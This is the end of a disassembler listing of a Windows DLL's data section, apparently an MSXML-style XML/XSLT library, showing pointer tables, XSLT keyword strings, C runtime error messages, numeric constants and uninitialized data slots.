dd offset dword_69B9B538
dd 1
dd offset off_69B2A0B8
dd offset dword_69B9B530
dd 1
dd offset off_69B2A0D4
dd offset dword_69B9B528
dd 1
dd offset off_69B2A0F8
dd offset dword_69B9B520
dd 1
dd offset off_69B6E0E8
dd offset dword_69B9B518
align 10h
dd offset off_69B2A118
dd offset dword_69B9B508
dd 0
dd offset off_69B2A134
dd offset dword_69B9B500
align 8
dd offset off_69B2A150
dd offset dword_69B9B4F8
dd 0
dd offset off_69B2A174
dd offset dword_69B9B4F0
align 10h
dd offset off_69B2A190
dd offset dword_69B9B4E8
dd 0
dd offset off_69B2A1B4
dd offset dword_69B9B4E0
align 8
dd offset off_69B2A1D8
dd offset dword_69B9B4D8
dd 0
dd offset off_69B2A1F4
dd offset dword_69B9B4D0
align 10h
dd offset off_69B2A214
dd offset dword_69B9B450
dd 0
dd offset off_69B2A234
dd offset dword_69B9B448
align 8
dd offset off_69B2A25C
dd offset dword_69B9B4C8
dd 0
dd offset off_69B2A28C
dd offset dword_69B9B4C0
align 10h
dd offset off_69B2A2CC
dd offset dword_69B9B4B8
dd 0
dd offset off_69B2A2E8
dd offset dword_69B9B4B0
align 8
dd offset off_69B2A30C
dd offset dword_69B9B4A8
dd 0
dd offset off_69B2A328
dd offset dword_69B9B4A0
align 10h
dd offset off_69B2A34C
dd offset dword_69B9B498
dd 0
dd offset off_69B2A368
dd offset dword_69B9B490
align 8
dd offset off_69B2A39C
dd offset dword_69B9B488
dd 0
dd offset off_69B2A3BC
dd offset dword_69B9B480
align 10h
dd offset off_69B2A3DC
dd offset dword_69B9B478
dd 0
dd offset off_69B2A418
dd offset dword_69B9B470
align 8
dd offset off_69B2A430
dd offset dword_69B9B468
dd 0
dd offset off_69B2A44C
dd offset dword_69B9B460
dd 0
dd offset off_69B29F00
dd offset dword_69B9B458
dd 4 dup(0)
off_69B9A708 dd offset aApplyTemplates ; DATA XREF: sub_69B6E1B8+3Ao
; "apply-templates"
align 10h
dd offset aAttribute_2 ; "attribute"
align 8
dd offset aChoose ; "choose"
align 10h
dd offset aComment_1 ; "comment"
align 8
dd offset aCopy_1 ; "copy"
align 10h
dd offset aCopyOf ; "copy-of"
align 8
dd offset aElement_3 ; "element"
align 10h
dd offset aForEach ; "for-each"
align 8
dd offset aIf ; "if"
align 10h
dd offset aInclude_0 ; "include"
align 8
dd offset aOtherwise ; "otherwise"
align 10h
dd offset aOutput_0 ; "output"
align 8
dd offset aParam ; "param"
align 10h
dd offset aProcessingIn_0 ; "processing-instruction"
align 8
dd offset aSort ; "sort"
align 10h
dd offset aStylesheet_1 ; "stylesheet"
align 8
dd offset aTemplate ; "template"
align 10h
dd offset aText_2 ; "text"
align 8
dd offset aTransform_0 ; "transform"
align 10h
dd offset aValueOf ; "value-of"
align 8
dd offset aVariable ; "variable"
align 10h
dd offset aWhen ; "when"
align 8
dd offset aWithParam ; "with-param"
align 10h
aSoftwareMicros: ; DATA XREF: sub_69B71E06+2Co
unicode 0, <Software\Microsoft\Internet Explorer\ActiveX Compatibilit>
unicode 0, <y>,0
align 4
aCompatibilityF: ; DATA XREF: sub_69B71E06+81o
unicode 0, <Compatibility Flags>,0
byte_69B9A860 db 1 ; DATA XREF: sub_69B73743+6r
; sub_69B73743+64w
align 4
dword_69B9A864 dd 0 off_69B9A868 dd offset dword_69B25D34 ; DATA XREF: sub_69B74E25+Ar
dd offset libID
dd 1, 5 dup(0)
aMdclxvi: ; DATA XREF: sub_69B743F9+1Co
unicode 0, <MDCLXVI>,0
aMdclxvi_0: ; DATA XREF: sub_69B743F9+25o
unicode 0, <mdclxvi>,0
byte_69B9A8A8 db 1 ; DATA XREF: sub_69B6E209+Ar
db 1, 2 dup(9)
db 9,9,9,9,9,0
align 4
db 0Bh,0Bh,0Bh,0Bh,0Bh,0Bh,0Bh,0Bh,0Bh,0
align 10h
dd 9090303h, 9090909h, 9, 2 dup(0A0A0A0Ah), 0Ah, 9090707h
dd 9090909h, 9, 9090404h, 9090909h, 9, 9090606h, 9090909h
dd 9, 2 dup(0A0A0A0Ah), 0Ah, 2 dup(0A0A0A0Ah), 0Ah, 2 dup(0A0A0A0Ah)
dd 0Ah, 2 dup(0B0B0B0Bh), 0Bh, 9090808h, 9090909h, 9, 2 dup(0B0B0B0Bh)
dd 0Bh, 2 dup(0B0B0B0Bh), 0Bh, 2 dup(0B0B0B0Bh), 0Bh, 9090209h
dd 9090509h, 9, 2 dup(0A0A0A0Ah), 0Ah, 2 dup(0A0A0A0Ah)
dd 0Ah, 9090505h, 9090909h, 9
dword_69B9A98C dd 0 off_69B9A990 dd offset dword_69B782C0 ; DATA XREF: sub_69B7786C+Er
dd offset libID
dd 1, 5 dup(0)
a?@: ; DATA XREF: sub_69B7AB78+1D5o
unicode 0, <%/:?@\>,0
align 10h
dword_69B9A9C0 dd 0 off_69B9A9C4 dd offset dword_69B25CF4 ; DATA XREF: sub_69B7D5D4+Er
dd offset libID
dd 1, 5 dup(0)
; char ClassName[]
ClassName db 'XMLMimeWnd',0 ; DATA XREF: sub_69B1E4CF+6671o
; sub_69B80E07+B9o ...
align 10h
dword_69B9A9F0 dd 80h ; const WCHAR asc_69B9A9F4
asc_69B9A9F4: ; DATA XREF: sub_69B82B65:loc_69B82C1Fo
dw 0Dh
dw 0Ah
unicode 0, <>,0
align 4
aLt_1: ; DATA XREF: sub_69B82B65:loc_69B82BFCo
; sub_69B831E9:loc_69B8322Fo
unicode 0, <<>,0
align 4
; const WCHAR aGt_1
aGt_1: ; DATA XREF: sub_69B82B65:loc_69B82BF5o
; sub_69B831E9+3Fo
unicode 0, <>>,0
align 4
aQuot_0: ; DATA XREF: sub_69B831E9:loc_69B8323Do
unicode 0, <">,0
align 4
; const WCHAR aAmp_0
aAmp_0: ; DATA XREF: sub_69B82B65:loc_69B82C03o
; sub_69B831E9:loc_69B83236o
unicode 0, <&>,0
off_69B9AA30 dd offset sub_69B84D58 ; DATA XREF: sub_69B84A5B+2Ar
align 8
dword_69B9AA38 dd 2 ; sub_69B84F8F+25r
off_69B9AA3C dd offset aR6002FloatingP ; DATA XREF: sub_69B84F8F+E4r
; sub_69B84F8F+151r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8
dd offset aR6008NotEnough ; "R6008\r\n- not enough space for arguments"...
dd 9
dd offset aR6009NotEnough ; "R6009\r\n- not enough space for environme"...
dd 0Ah
dd offset aThisApplicatio ; "\r\nThis application has requested the Ru"...
dd 10h
dd offset aR6016NotEnough ; "R6016\r\n- not enough space for thread da"...
dd 11h
dd offset aR6017Unexpecte ; "R6017\r\n- unexpected multithread lock er"...
dd 12h
dd offset aR6018Unexpecte ; "R6018\r\n- unexpected heap error\r\n"
dd 13h
dd offset aR6019UnableToO ; "R6019\r\n- unable to open console device\r"...
dd 18h
dd offset aR6024NotEnough ; "R6024\r\n- not enough space for _onexit/a"...
dd 19h
dd offset aR6025PureVirtu ; "R6025\r\n- pure virtual function call\r\n"
dd 1Ah
dd offset aR6026NotEnough ; "R6026\r\n- not enough space for stdio ini"...
dd 1Bh
dd offset aR6027NotEnough ; "R6027\r\n- not enough space for lowio ini"...
dd 1Ch
dd offset aR6028UnableToI ; "R6028\r\n- unable to initialize heap\r\n"
dd 78h
dd offset dword_69B2A8A0+34h
dd 79h
dd offset dword_69B2A8A0+24h
dd 7Ah
dd offset dword_69B2A8A0+14h
dd 0FCh
dd offset dword_69B2A8A0+10h
dd 0FFh
dd offset dword_69B2A8A0
dword_69B9AAC8 dd 19930520h, 3 dup(0)dword_69B9AAD8 dd 1, 8 dup(0) ; sub_69B8599F+ADo ...
dd 2 dup(1), 3 dup(0)
dd offset off_69B9AD64
align 10h
dd offset dword_69B2ABA0+12Eh
dd offset off_69B9ACA8
dd 0
off_69B9AB2C dd offset dword_69B9AAD8 ; DATA XREF: sub_69B84DFA+FBr
; sub_69B8599F+Br ...
dd 0
dd 1, 8 dup(0)
dd 43h, 21h dup(0)
dd 43h, 21h dup(0)
byte_69B9AC68 db 1 ; DATA XREF: sub_69B1D0A4+8109r
db 2, 4, 8
align 10h
byte_69B9AC70 db 2Eh ; DATA XREF: sub_69B851F8+24r
; .text:69B85239r ...
align 4
dword_69B9AC74 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_69B9AC8C dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_69B9ACA4 dd 0Ch off_69B9ACA8 dd offset dword_69B2ABA0+128h ; DATA XREF: .data:69B9AB24o
dd offset dword_69B2ABA0+124h
dd offset dword_69B2ABA0+120h
dd offset dword_69B2ABA0+11Ch
dd offset dword_69B2ABA0+118h
dd offset dword_69B2ABA0+114h
dd offset dword_69B2ABA0+110h
dd offset dword_69B2ABA0+108h
dd offset dword_69B2ABA0+100h
dd offset dword_69B2ABA0+0F8h
dd offset dword_69B2ABA0+0ECh
dd offset dword_69B2ABA0+0E0h
dd offset dword_69B2ABA0+0D8h
dd offset dword_69B2ABA0+0CCh
dd offset dword_69B2ABA0+0C8h
dd offset dword_69B2ABA0+0C4h
dd offset dword_69B2ABA0+0C0h
dd offset dword_69B2ABA0+0BCh
dd offset dword_69B2ABA0+0B8h
dd offset dword_69B2ABA0+0B4h
dd offset dword_69B2ABA0+0B0h
dd offset dword_69B2ABA0+0ACh
dd offset dword_69B2ABA0+0A8h
dd offset dword_69B2ABA0+0A4h
dd offset dword_69B2ABA0+0A0h
dd offset dword_69B2ABA0+9Ch
dd offset dword_69B2ABA0+94h
dd offset dword_69B2ABA0+88h
dd offset dword_69B2ABA0+80h
dd offset dword_69B2ABA0+78h
dd offset dword_69B2ABA0+0B8h
dd offset dword_69B2ABA0+70h
dd offset dword_69B2ABA0+68h
dd offset dword_69B2ABA0+60h
dd offset dword_69B2ABA0+54h
dd offset dword_69B2ABA0+4Ch
dd offset dword_69B2ABA0+40h
dd offset dword_69B2ABA0+34h
dd offset dword_69B2ABA0+30h
dd offset dword_69B2ABA0+2Ch
dd offset dword_69B2ABA0+20h
dd offset dword_69B2ABA0+0Ch
dd offset dword_69B2ABA0
dd 409h, 1, 0
dword_69B9AD60 dd 2Eh off_69B9AD64 dd offset dword_69B9AD60 ; DATA XREF: sub_69B86D02+15r
; .data:69B9AB10o ...
off_69B9AD68 dd offset dword_69B9B730 ; DATA XREF: sub_69B86D02+32r
off_69B9AD6C dd offset dword_69B9B730 ; DATA XREF: sub_69B86D02+4Er
off_69B9AD70 dd offset dword_69B9B730 ; DATA XREF: sub_69B86D61+1Br
off_69B9AD74 dd offset dword_69B9B730 ; DATA XREF: sub_69B86D61+38r
off_69B9AD78 dd offset dword_69B9B730 ; DATA XREF: sub_69B86D61+55r
off_69B9AD7C dd offset dword_69B9B730 ; DATA XREF: sub_69B86D61+72r
off_69B9AD80 dd offset dword_69B9B730 ; DATA XREF: sub_69B86D61+8Fr
off_69B9AD84 dd offset dword_69B9B730 ; DATA XREF: sub_69B86D61+ACr
off_69B9AD88 dd offset dword_69B9B730 ; DATA XREF: sub_69B86D61+C8r
dd 2 dup(7F7F7F7Fh)
off_69B9AD94 dd offset off_69B9AD64 ; DATA XREF: sub_69B86D02+Br
; sub_69B86D02+27r ...
dword_69B9AD98 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_69B9AEF8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_69B87CD5+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
; LPCWSTR off_69B9B054
off_69B9B054 dd offset aSelectionlangu ; DATA XREF: sub_69B8A606:loc_69B8A611r
; "SelectionLanguage"
; const WCHAR aXpath
aXpath: ; DATA XREF: sub_69B8A535+3Bo
; sub_69B8A5B6:loc_69B8A5C6o
unicode 0, <XPath>,0
; const WCHAR aXslpattern
aXslpattern: ; DATA XREF: sub_69B8A535:loc_69B8A589o
; sub_69B8A5B6:loc_69B8A5CDo
unicode 0, <XSLPattern>,0
align 10h
; BYTE byte_69B9B080
byte_69B9B080 db 0 ; DATA XREF: sub_69B2B309+25o
; sub_69B2B309+48r
align 4
dd 0Dh dup(0)
dword_69B9B0B8 dd 0 align 10h
; const CHAR String
String db 0 ; DATA XREF: sub_69B2B23E+8o
; sub_69B2B23E+1Aw ...
align 4
dd 40h dup(0)
; HMODULE dword_69B9B1C4
dword_69B9B1C4 dd 0 ; sub_69B2B3A0+16w ...
dword_69B9B1C8 dd 0 ; sub_69B2B3A0+34w ...
dword_69B9B1CC dd 0 dword_69B9B1D0 dd 0 ; sub_69B2C57E+27w ...
dword_69B9B1D4 dd 0 ; sub_69B2C5AF+32r ...
word_69B9B1D8 dw 0 ; DATA XREF: sub_69B2C95C+15r
; sub_69B2C95C+1Fo ...
align 4
dd 9 dup(0)
dd 16h dup(?)
dword_69B9B258 dd ? ; Ordinal8r ...
dword_69B9B25C dd ? ; sub_69B2DA88+4Ew ...
; LPVOID ppv
ppv dd ? ; DATA XREF: sub_69B3698Eo
; sub_69B36CF7+Fr ...
; LPVOID dword_69B9B264
dword_69B9B264 dd ? ; sub_69B39C17+3Dr ...
dword_69B9B268 dd ? ; sub_69B3B3B6+21w ...
; __int32 dword_69B9B26C
dword_69B9B26C dd ? ; __int32 dword_69B9B270
dword_69B9B270 dd ? ; sub_69B5A89E+2Dr ...
align 8
; __int32 dword_69B9B278
dword_69B9B278 dd ? ; sub_69B6227E+7r ...
align 10h
; __int32 dword_69B9B280
dword_69B9B280 dd ? ; sub_69B61F42+12Co
align 8
; __int32 dword_69B9B288
dword_69B9B288 dd ? ; sub_69B61F42+114o
align 10h
; __int32 dword_69B9B290
dword_69B9B290 dd ? ; sub_69B61F42+FCo
align 8
; __int32 dword_69B9B298
dword_69B9B298 dd ? ; sub_69B61F42+E4o
align 10h
; __int32 dword_69B9B2A0
dword_69B9B2A0 dd ? ; sub_69B60689+65r ...
align 8
; __int32 dword_69B9B2A8
dword_69B9B2A8 dd ? ; sub_69B60689:loc_69B606FFr ...
align 10h
; __int32 dword_69B9B2B0
dword_69B9B2B0 dd 2 dup(?) ; __int32 dword_69B9B2B8
dword_69B9B2B8 dd ? ; sub_69B6229B+2Dr
align 10h
; __int32 dword_69B9B2C0
dword_69B9B2C0 dd ? ; sub_69B61F42+6Co ...
align 8
; __int32 dword_69B9B2C8
dword_69B9B2C8 dd ? ; sub_69B61F42+54o ...
align 10h
byte_69B9B2D0 db ? ; DATA XREF: sub_69B61F42+Er
; sub_69B61F42+35r ...
align 8
dbl_69B9B2D8 dq ? ; DATA XREF: sub_69B64094r
; sub_69B64094+13w ...
dbl_69B9B2E0 dq ? ; DATA XREF: sub_69B640BFr
; sub_69B640BF+13w ...
dbl_69B9B2E8 dq ? ; DATA XREF: sub_69B640EAr
; sub_69B640EA+13w ...
; __int32 dword_69B9B2F0
dword_69B9B2F0 dd ? ; sub_69B6A68C+69r
align 8
; __int32 dword_69B9B2F8
dword_69B9B2F8 dd ? ; sub_69B6A68C+29o ...
align 10h
dword_69B9B300 dd ? ; .data:69B9A3BCo
align 8
dword_69B9B308 dd ? ; sub_69B673B0+80r ...
align 10h
dword_69B9B310 dd ? ; .data:69B9A3A4o
align 8
dword_69B9B318 dd ? ; .data:69B9A398o
align 10h
dword_69B9B320 dd ? ; sub_69B6AE56:loc_69B6AE89r ...
align 8
dword_69B9B328 dd ? ; sub_69B679C0+42r ...
align 10h
dword_69B9B330 dd ? ; .data:69B9A374o
align 8
dword_69B9B338 dd ? ; .data:69B9A368o
align 10h
dword_69B9B340 dd ? ; .data:69B9A35Co
align 8
dword_69B9B348 dd ? ; .data:69B9A350o
align 10h
dword_69B9B350 dd ? ; .data:69B9A344o
align 8
dword_69B9B358 dd ? ; .data:69B9A338o
align 10h
dword_69B9B360 dd ? ; .data:69B9A32Co
align 8
dword_69B9B368 dd ? ; .data:69B9A320o
align 10h
dword_69B9B370 dd ? ; .data:69B9A314o
align 8
dword_69B9B378 dd ? ; .data:69B9A308o
align 10h
dword_69B9B380 dd ? ; .data:69B9A2FCo
align 8
dword_69B9B388 dd ? ; .data:69B9A2F0o
align 10h
dword_69B9B390 dd ? ; .data:69B9A2E4o
align 8
dword_69B9B398 dd ? ; .data:69B9A2D8o
align 10h
dword_69B9B3A0 dd ? ; .data:69B9A2CCo
align 8
dword_69B9B3A8 dd ? ; .data:69B9A2C0o
align 10h
dword_69B9B3B0 dd ? ; .data:69B9A2B4o
align 8
dword_69B9B3B8 dd ? ; .data:69B9A2A8o
align 10h
dword_69B9B3C0 dd ? ; .data:69B9A29Co
align 8
dword_69B9B3C8 dd ? ; .data:69B9A290o
align 10h
dword_69B9B3D0 dd ? ; .data:69B9A284o
align 8
dword_69B9B3D8 dd ? ; .data:69B9A278o
align 10h
dword_69B9B3E0 dd ? ; .data:69B9A26Co
align 8
dword_69B9B3E8 dd ? ; .data:69B9A260o
align 10h
dword_69B9B3F0 dd ? ; .data:69B9A254o
align 8
dword_69B9B3F8 dd ? ; .data:69B9A248o
align 10h
dword_69B9B400 dd ? ; .data:69B9A23Co
align 8
dword_69B9B408 dd ? ; .data:69B9A230o
align 10h
dword_69B9B410 dd ? ; .data:69B9A224o
align 8
dword_69B9B418 dd ? ; .data:69B9A218o
align 10h
dword_69B9B420 dd ? ; .data:69B9A20Co
align 8
dword_69B9B428 dd ? ; .data:69B9A200o
align 10h
dword_69B9B430 dd ? ; .data:69B9A1F4o
align 8
dword_69B9B438 dd 2 dup(?) dword_69B9B440 dd ? ; .data:69B9A1DCo
align 8
dword_69B9B448 dd 2 dup(?) dword_69B9B450 dd 2 dup(?) dword_69B9B458 dd 2 dup(?) dword_69B9B460 dd 2 dup(?) dword_69B9B468 dd ? ; sub_69B7624E+92r ...
align 10h
dword_69B9B470 dd ? ; sub_69B7624E+124r ...
align 8
dword_69B9B478 dd ? ; sub_69B7624E+101r ...
align 10h
dword_69B9B480 dd ? ; sub_69B7624E+AEr ...
align 8
dword_69B9B488 dd ? ; sub_69B7521B:loc_69B75291r ...
align 10h
dword_69B9B490 dd ? ; sub_69B75178+21r ...
align 8
dword_69B9B498 dd ? ; .data:69B9A694o
align 10h
dword_69B9B4A0 dd ? ; sub_69B727D0+30r ...
align 8
dword_69B9B4A8 dd ? ; sub_69B73101:loc_69B731CBr ...
align 10h
dword_69B9B4B0 dd ? ; sub_69B73101:loc_69B73196r ...
align 8
dword_69B9B4B8 dd ? ; sub_69B759A1r ...
align 10h
dword_69B9B4C0 dd ? ; .data:69B9A658o
align 8
dword_69B9B4C8 dd ? ; .data:69B9A64Co
align 10h
dword_69B9B4D0 dd ? ; .data:69B9A628o
align 8
dword_69B9B4D8 dd ? ; sub_69B73078+3r ...
align 10h
dword_69B9B4E0 dd ? ; .data:69B9A610o
align 8
dword_69B9B4E8 dd ? ; sub_69B73499+21r ...
align 10h
dword_69B9B4F0 dd ? ; .data:69B9A5F8o
align 8
dword_69B9B4F8 dd ? ; .data:69B9A5ECo
align 10h
dword_69B9B500 dd ? ; sub_69B750B7+76r ...
align 8
dword_69B9B508 dd ? ; sub_69B701AA+4Ar ...
align 10h
; __int32 dword_69B9B510
dword_69B9B510 dd ? ; sub_69B6F483:loc_69B6F4EDr
align 8
dword_69B9B518 dd ? ; sub_69B6F483+32r ...
align 10h
dword_69B9B520 dd ? ; .data:69B9A5BCo
align 8
dword_69B9B528 dd ? ; .data:69B9A5B0o
align 10h
dword_69B9B530 dd ? ; sub_69B7267F:loc_69B72734r ...
align 8
dword_69B9B538 dd ? ; .data:69B9A598o
align 10h
dword_69B9B540 dd ? ; .data:69B9A58Co
align 8
dword_69B9B548 dd ? ; .data:69B9A580o
align 10h
dword_69B9B550 dd ? ; .data:69B9A574o
align 8
dword_69B9B558 dd ? ; .data:69B9A568o
align 10h
dword_69B9B560 dd ? ; .data:69B9A55Co
align 8
dword_69B9B568 dd ? ; .data:69B9A550o
align 10h
dword_69B9B570 dd ? ; .data:69B9A544o
align 8
dword_69B9B578 dd ? ; sub_69B74E98+6r ...
align 10h
dword_69B9B580 dd ? ; sub_69B7267F+E9r ...
align 8
dword_69B9B588 dd ? ; sub_69B7267F+81r ...
align 10h
dword_69B9B590 dd ? ; sub_69B73101+9r ...
align 8
dword_69B9B598 dd ? ; .data:69B9A508o
align 10h
dword_69B9B5A0 dd ? ; .data:69B9A4FCo
align 8
dword_69B9B5A8 dd ? ; .data:69B9A4F0o
align 10h
dword_69B9B5B0 dd ? ; .data:69B9A4E4o
align 8
dword_69B9B5B8 dd ? ; .data:69B9A4D8o
align 10h
dword_69B9B5C0 dd ? ; .data:69B9A4CCo
align 8
dword_69B9B5C8 dd ? ; .data:69B9A4C0o
align 10h
dword_69B9B5D0 dd ? ; sub_69B72A73:loc_69B72A9Er ...
align 8
dword_69B9B5D8 dd ? ; .data:69B9A4A8o
align 10h
dword_69B9B5E0 dd ? ; .data:69B9A49Co
align 8
dword_69B9B5E8 dd ? ; .data:69B9A490o
align 10h
dword_69B9B5F0 dd ? ; .data:69B9A484o
align 8
dword_69B9B5F8 dd ? ; .data:69B9A478o
align 10h
dword_69B9B600 dd ? ; .data:69B9A46Co
align 8
dword_69B9B608 dd ? ; sub_69B7267F+59r ...
align 10h
dword_69B9B610 dd ? ; .data:69B9A454o
align 8
; __int32 dword_69B9B618
dword_69B9B618 dd 2 dup(?) ; __int32 dword_69B9B620
dword_69B9B620 dd ? ; sub_69B6699A+2E8r ...
align 8
; __int32 dword_69B9B628
dword_69B9B628 dd ? ; sub_69B6DF3C+7Fo ...
align 10h
; __int32 dword_69B9B630
dword_69B9B630 dd ? ; sub_69B6EB35+15r
align 8
; __int32 dword_69B9B638
dword_69B9B638 dd ? ; sub_69B6EB35+Dr ...
align 10h
byte_69B9B640 db ? ; DATA XREF: sub_69B6DF3C+Er
; sub_69B6DF3C+35r ...
align 4
; struct _RTL_CRITICAL_SECTION stru_69B9B644
stru_69B9B644 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_69B6FD4C+16o
dword_69B9B65C dd ? ; sub_69B6FDE2+18w
; HMODULE dword_69B9B660
dword_69B9B660 dd ? ; sub_69B6FD4C+46w ...
dword_69B9B664 dd ? ; sub_69B6FD4C+2Dw
; __int32 dword_69B9B668
dword_69B9B668 dd ? ; sub_69B700EE+2r ...
align 10h
; __int32 dword_69B9B670
dword_69B9B670 dd ? ; sub_69B703D6+2r ...
align 8
; LPVOID dword_69B9B678
dword_69B9B678 dd ? ; sub_69B72074+13r ...
; LPVOID dword_69B9B67C
dword_69B9B67C dd ? ; sub_69B71F04+DEr
byte_69B9B680 db ? ; DATA XREF: sub_69B73743+6Bw
; sub_69B73743:loc_69B737B5r
byte_69B9B681 db ? ; DATA XREF: sub_69B7AB78+1A8w
byte_69B9B682 db ? ; DATA XREF: sub_69B7AB78+194w
; sub_69B7AB78:loc_69B7AD30r
byte_69B9B683 db ? ; DATA XREF: sub_69B7AB78+15Dr
; sub_69B7AB78+166w
; __int32 dword_69B9B684
dword_69B9B684 dd ? ; sub_69B7EB86+A7r ...
; struct _RTL_CRITICAL_SECTION stru_69B9B688
stru_69B9B688 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_69B1E4CF:loc_69B24B28o
; sub_69B80FE6+87o
; struct _RTL_CRITICAL_SECTION stru_69B9B6A0
stru_69B9B6A0 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_69B1E4CF:loc_69B24B57o
; sub_69B80FE6+19o ...
dword_69B9B6B8 dd ? ; StartAddress+142w
word_69B9B6BC dw ? ; DATA XREF: sub_69B8062Dr
; sub_69B8062D+19w ...
align 10h
dword_69B9B6C0 dd ? ; sub_69B84F8F+34r ...
dword_69B9B6C4 dd ? ; sub_69B84F8F+46r ...
dword_69B9B6C8 dd ? align 10h
dword_69B9B6D0 dd ? ; sub_69B8562A+13Fr ...
dword_69B9B6D4 dd ? dword_69B9B6D8 dd ? ; sub_69B8562A:loc_69B8579Bo ...
dd 0Fh dup(?)
; __int32 dword_69B9B718
dword_69B9B718 dd ? ; sub_69B8562A+191o ...
dword_69B9B71C dd ? ; resolved to->USER32.MessageBoxA ; sub_69B863B4+38w ...
dword_69B9B720 dd ? ; resolved to->USER32.GetActiveWindow ; sub_69B863B4:loc_69B86479r
dword_69B9B724 dd ? ; resolved to->USER32.GetLastActivePopup ; sub_69B863B4+D6r
dword_69B9B728 dd ? ; resolved to->USER32.GetProcessWindowStation ; sub_69B863B4:loc_69B86434r
dword_69B9B72C dd ? ; resolved to->USER32.GetUserObjectInformationA ; sub_69B863B4+9Cr
dword_69B9B730 dd ? ; .data:off_69B9AD6Co ...
dword_69B9B734 dd ? dword_69B9B738 dd ? dd 2 dup(?)
; LCID Locale
Locale dd ? ; DATA XREF: sub_69B1ECB1:loc_69B25407r
; sub_69B1AEC4+A6BBr
dd 3 dup(?)
dword_69B9B754 dd ? ; sub_69B1ECB1:loc_69B253B4r ...
dword_69B9B758 dd ? dword_69B9B75C dd ? ; sub_69B1CEB6:loc_69B2533Br
WININET_dll_handle dd ? ; DATA XREF: .text:69B903ECo
USER32_dll_handle dd ? ; DATA XREF: .text:69B9040Co
urlmon_dll_handle dd ? ; DATA XREF: .text:69B9042Co
OLEAUT32_dll_handle dd ? ; DATA XREF: .text:69B9044Co
dword_69B9B770 dd ? ; sub_69B900D2+11w
dword_69B9B774 dd ? dword_69B9B778 dd ? dword_69B9B77C dd ? dword_69B9B780 dd ? ; sub_69B85B77+21Cr ...
dword_69B9B784 dd ? ; sub_69B25025+4Dr ...
; LPVOID dword_69B9B788
dword_69B9B788 dd ? ; sub_69B25025:loc_69B2507Cr ...
dword_69B9B78C dd ? ; sub_69B85B04+36w ...
dword_69B9B790 dd ? ; sub_69B85B77+300w ...
dword_69B9B794 dd ? ; sub_69B85E8F+5r ...
dword_69B9B798 dd ? ; sub_69B85B77+249r ...
dword_69B9B79C dd ? ; sub_69B1BA12+92C8w
align 80h
_data ends
end DllEntryPoint